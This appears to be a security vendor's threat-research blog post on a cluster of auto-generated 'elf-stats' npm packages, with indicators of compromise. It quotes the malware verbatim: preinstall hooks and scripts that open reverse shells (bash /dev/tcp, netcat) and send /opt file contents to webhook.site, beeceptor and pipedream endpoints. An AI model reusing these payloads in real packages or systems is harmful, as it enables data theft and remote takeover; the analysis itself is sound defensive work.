🚨 Shai-Hulud Strikes Again:834 Packages Compromised.Technical Analysis
Socket
Book a DemoInstallSign in
Socket
Back
ResearchSecurity News

npm Sees Surge of Auto-Generated “elf-stats” Packages Published Every Two Minutes

We spotted a wave of auto-generated “elf-*” npm packages published every two minutes from new accounts, with simple malware variants and early takedowns underway.

npm Sees Surge of Auto-Generated “elf-stats” Packages Published Every Two Minutes

Olivia Brown

December 3, 2025

This morning, the Socket Threat Research Team identified a surge of likely automated nuisance packages published to npm. We can now confirm at least 420 unique packages in this cluster. Most follow a consistent naming pattern that includes elf-stats, and many use the description “package generated every two minutes.” Some of the other package descriptions mentioned a capture the flag challenge or a test. In several cases, the publish cadence appears to match that claim, with rapid, repeated version updates. At the time of writing, npm is in the process of removing the affected packages.

This post may be continuously updated throughout the day. For now, here are some examples:

elf-stats-nutmeg-chimney-245, which already has three versions, contains this code:

const { exec } = require('child_process');

function runCommand(command) {
  exec(command, (error, stdout, stderr) => {
    if (error) {
      console.error(`Error executing command: ${error}`);
      return;
    }
    if (stderr) {
      console.error(`stderr: ${stderr}`);
      return;
    }
    console.log(`stdout: ${stdout}`);
  });
}

runCommand('curl https://ooooo.free.beeceptor.com -X POST -d "data:$(ls /opt | base64)"');

The author is shadeness, and they have no other packages, and were likely built for just this package.

By 9:35 EDT, npm had removed this package.

Another example, which at the time of this writing is still live, is elf-stats-peppermint-hollyberry-893, contains completely different, but similarly simple, malware:

{
  "name": "elf-stats-peppermint-hollyberry-893",
  "version": "1.0.0",
  "main": "index.js",
  "description": "Package generated automatically every 2 minutes..",
  "author": "Elf Workshop",
  "license": "MIT",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "/bin/bash -i >& /dev/tcp/82.64.41.211/4444 0>&1"
  }
}

This author, globules67, has seven package that are all a part of this odd, seasonal behavior, and seems to be creating more.

The Beginning#

Although the vast majority of packages are being published today, one was published yesterday around 11:50 am Eastern, and nine were published on the first of December. The earliest package we have found thus far is elf-status-northbound-candy, with a package description of “For testing.”

{
  "name": "elf-stats-northbound-candy-916",
  "version": "2.0.0",
  "description": "For testing",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "/usr/bin/curl --data '@/opt/flag' https://webhook.site/09bac6bc-0b19-4e8f-8df8-a4198c77b897"
  }
}

Code from first package. ``

This package is now removed, and may have been for several weeks, as it was published November 5, 2025, at around 5:30 am Eastern. Its main ties to this current behavior is the simplicity of the malware and the package name.

Until today, there was no indication that so many packages would be published under this naming schema.

The French Connection#

The next package with a elf-stats name and containing malware was elf-stats-mulled-stockpile-411, which has also now been removed by npm. It was published on November 29th, 2025, meaning there was a pause of over three weeks between packages. This example also contained simple malware, executing an overt reverse shell:

const { exec } = require("child_process");
exec("nc elweth.fr 4444 -e /bin/sh" , (error, data, getter) => {
	if(error){
		console.log("error",error.message);
		return;
	}
	if(getter){
		console.log(data);
		return;
	}
	console.log(data);

});

This instructs Netcat, a common network utility, to pipe a shell to the remote server controlled by the threat actor, giving the actor the ability to execute any commands on the victim system. Somewhat interestingly, the server controlled by the threat actor has a French domain, .fr. Anyone can register a .fr domain as long as they provide a contact address and some identity information, and threat actors have used foreign ccTLDs to mislead analysts before. Therefore, this is not a strong enough indicator that the threat actor is French.

However, the maintainer’s alias (pouet-poc-rm) begins with the French onomatopoeia “pouet,” which is similar to “boop!” or “honk!” indicating that the threat actor is at least French speaking. This is more common in France than in other French-speaking places, like Quebec or Belgium or Cameroon.

A few of the other earlier packages, elf-stats-silvered-ornament-756, elf-stats-snowdusted-sparkler-261, and elf-stats-sparkly-hammer-880, all created the 2nd, 1st, and 1st of December respectively, also have french connections. Their package descriptions are all written in French, and are: Package généré automatiquement toutes les 2 minutes.. which translates to the earlier-discussed description of Package generated automatically every 2 minutes... Their maintainer’s name is also French, nikost.bug.

That maintainer went on to create 8 total packages associated with this behavior.

Although all of their packages have been removed from npm, the maintainer page is still live.

It is therefore highly likely that at least one of the threat actors associated with the campaign is French-speaking. Given the coordination and breadth of the behavior, it is possible there is more than one threat actor.

Maliciousness#

Some of the newer packages also contain indicators of a French-speaking threat actor or actors. For example, this code from elf-stats-velvet-snowman-470, contains comments in French:

const fs = require('fs');
const https = require('https');
const os = require('os');

// ... (vos détails de webhook) TRANSLATION: Your webhook details
const EXFIL_HOST = 'webhook.site';
const EXFIL_PATH = '/1e268268-4472-49fa-b14a-915f957322c9';

// CIBLE DÉFINITIVE TRANSLATION: Final Target
const FLAG_PATH = '/opt/santa-list.txt';

// ... (fonctions exfiltrate) TRANSLATION: Exfiltration functions

// Logique d'exécution TRANSLATION: Execution logic
try {
    const flagContent = fs.readFileSync(FLAG_PATH, 'utf8');

    if (flagContent) {
        exfiltrate({
            status: "SUCCESS_FLAG_RETRIEVED",
            path: FLAG_PATH,
            content: flagContent
        });
    }
} catch (e) {
    exfiltrate({ error: `Failed to read ${FLAG_PATH}`, message: e.message });
}

Funnily enough, this appears to be an elf stealing Santa’s list!

This sort of behavior, of stealing a file, and strings like “SUCCESS_FLAG_RETRIEVED,” are common in CTF challenges. It is still stealing data, but only /opt/santa-list.txt, nothing more, unlike previous packages.

However, another recent example is less focused and therefore more malicious.

const { exec } = require('child_process');
const https = require('https');

const url = 'https://eop9blzagrmvcii.m.pipedream.net';

const cmd = 'find /opt -type f -exec sh -c \'echo "== {} =="; base64 "{}"\' \\;';

exec(cmd, { timeout: 15000 }, (error, stdout, stderr) => {
    const result = `--- STDOUT ---\n${stdout}\n\n--- STDERR ---\n${stderr}\n\n--- ERROR ---\n${error ? error.message : ''}`;

    const req = https.request(url, {
        method: 'POST',
        headers: {
            'Content-Type': 'text/plain',
            'Content-Length': Buffer.byteLength(result),
        },
    }, (res) => {
        console.log(`Status code: ${res.statusCode}`);
    });

    req.on('error', (e) => {
        console.error(`Problem with request: ${e.message}`);
    });

    req.write(result);
    req.end();
});

This code is more powerful, invasive, and dangerous than the earlier example. It performs recursive file discovery, full file exfiltration, and direct HTTPS upload to a threat actor-controlled endpoint. Interestingly, this endpoint has been used by other maintainers in this behavior set. Perhaps the Elf wanted to be sure to steal ALL drafts of Santa’s list this time!

This helps illuminate the range of code the Socket Threat Research Team is seeing today: A lot of data exfiltration done by potentially French elves, with varying degrees of maliciousness.

Conclusion#

This cluster stands out for its frequently automated cadence, consistent elf-stats-* naming scheme, and low-effort but clearly malicious behaviors. While several package descriptions frame the activity as testing or a challenge, the code patterns we’ve observed are not safe to run in real environments.

We will continue monitoring npm for new packages that match this pattern, track additional payload variations as they appear, and update this post as the situation develops and removals continue. If you spot additional elf-stats-* packages or related activity, treat them as untrusted and avoid installing them until they can be fully reviewed.

Indicators of Compromise#

  • Malicious URLs
    • https://eop9blzagrmvcii[.]m[.]pipedream[.]net
    • https://webhook[.]site/09bac6bc-0b19-4e8f-8df8-a4198c77b897
  • Malicious Authors
  • Malicious Package Descriptions
    • Santa Nightmare
    • GOGOGO
    • Package generated automatically every 2 minutes..
    • For testing
    • Test package for a challenge, don't use
    • Package généré automatiquement toutes les 2 minutes..
  • Names of Malicious Servers Controlled by Threat Actors
    • elweth[.]fr
Loading...

Loading affected packages…

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts